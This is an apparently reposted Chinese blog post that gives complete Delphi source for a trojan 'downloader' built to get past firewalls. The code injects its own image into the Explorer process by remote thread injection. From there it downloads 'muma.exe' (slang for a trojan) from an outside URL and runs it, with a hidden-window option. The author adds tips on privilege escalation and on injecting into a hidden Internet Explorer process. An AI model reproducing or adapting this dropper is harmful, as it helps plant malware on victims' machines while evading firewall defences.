zoukankan      html  css  js  c++  java
  • 打造无DLL版穿透防火墙Downloader

    这份代码的思路来自于国外EES组织的Aphex。基本上所有的无DLL Download都是利用的这种方法。其实也就是用烂了的远程注入法。不过注入的对象不是一个DLL,而是本身的一个过程。下面是代码,由于本人专业知识不够,可能有些说法不太专业。请大家凑合着看。有不懂的请跟贴。

    program InjectTheSelf;

    {$IMAGEBASE $13140000}

    uses Windows, Urlmon;


    procedure Download;  //下载过程
    begin
      URLDownloadToFile(nil, 'http://www.mycode.ful.cn/muma.exe', 'C:muma.exe', 0, nil);
      WinExec('C:muma.exe', SW_SHOW); //SW_SHOW or SW_HIDE
    end;


    var
      hModule, hModule_News: Pointer;
      Extent, Size, ThreadId: longword;
      ProcessHandle, Pid: longword;


    begin
      GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @Pid);
    //获取Exp进程的PID码,Shell_TrayWnd为类名,相关的需用SPY++来查看

      ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, Pid); //打开进程

      hModule := Pointer(GetModuleHandle(nil));
    //这里得到的值为一个返回一个指针型变量,指向内容包括自身映像的基址和长度

      Extent := PImageOptionalHeader(Pointer(integer(hModule) + PImageDosHeader(hModule)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;
    //得到内存映像的长度

      VirtualFreeEx(ProcessHandle, hModule, 0, MEM_RELEASE);
    //在Exp进程的内存范围内分配一个足够长度的内存

      hModule_News := VirtualAllocEx(ProcessHandle, hModule, Extent, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    //确定起始基址和内存映像基址的位置

      WriteProcessMemory(ProcessHandle, hModule_News, hModule, Extent, Size);
    //确定上面各项数据后,这里开始进行操作

      CreateRemoteThread(ProcessHandle, nil, 0, @Download, hModule, 0, ThreadId);
    //建立远程线程,至此注入过程完成

      CloseHandle(ProcessHandle);
    //关闭对像
    end.

    需要说明的是,尽管这已经是一份完整的穿墙版Downloader的代码。但其还是有很多BUG的。如果你想写属于自己的下载者,请注意解决下面几个问题

    1、上面的代码用到的远程注入的方法所用到的函数在Windows9X下没有。
    2、Windows和一些应用程序对某些进程做了保护,不允许进程进行越权操作。如Svchost、QQ等进程的注入,必须先进行提权操作。
    3、若需注入到IE。请先用Winexec的SW_HIDE模式打开一个隐藏的IE进程,将程序挂起3秒后再进行注入。这个是针对一些老机器而作的。

  • 相关阅读:
    百度mp3地址解密码
    VB 在EXE后附加信息
    截屏函数
    Base64和StrToByte
    The Android ION memory allocator, DMABUF is mentioned as well
    DDC EDID 介绍
    Memory management for graphic processors TTM的由来
    科普 写display driver的必看 How video card works [2D的四种主要操作]
    GEM vs TTM
    DMABUF 背景介绍文章 Sharing buffers between devices
  • 原文地址:https://www.cnblogs.com/FKdelphi/p/4642953.html
Copyright © 2011-2022 走看看